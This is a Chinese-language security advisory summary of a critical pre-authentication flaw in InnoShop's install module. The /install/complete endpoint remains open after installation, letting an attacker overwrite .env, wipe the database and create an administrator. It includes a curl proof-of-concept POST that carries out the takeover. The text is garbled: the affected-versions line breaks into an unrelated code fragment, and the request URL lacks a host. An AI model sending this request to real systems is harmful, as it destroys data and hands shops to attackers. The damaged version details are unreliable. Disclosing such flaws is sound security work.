### 漏洞概述 **标题**:[Security]Pre-auth Application Reinstall leads to full system takeover #314 **类型**:关键预认证漏洞(Critical pre-authentication vulnerability) **描述**:InnoShop 的安装模块 (`inno packs/install`) 存在严重漏洞。在应用完全安装后,`/install/complete` 端点仍然保持可访问,且没有任何身份验证或 CSRF 保护。未认证的攻击者可以发送单个 POST 请求来覆盖 `.env` 文件、通过 `migrate:fresh` 擦除整个数据库,并创建一个新的管理员账户,从而实现完整的系统接管。 ### 影响范围 * **受影响版本**:InnoShop loadRoutesFrom(__DIR__.'/routes/web.php'); $this->loadViewsFrom(__DIR__.'/resources/views', 'install'); $this->loadTranslationsFrom(__DIR__.'/lang', 'install'); } ``` ### POC 代码 / 利用代码 页面中提供了一个完整的 `curl` 命令作为概念验证(Proof of Concept),该命令足以利用此漏洞: ```bash curl -X POST "http:///install/complete" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "db_type=mysql&db_host_name=DB_HOST&db_port=3306&db_name=DB_NAME&db_username=DB_USER&db_password=DB_PASSWORD" ``` **预期结果**:HTTP 200,返回 `{"success": true, ...}`。攻击者随后可以使用注入的凭据登录到 `/panel`。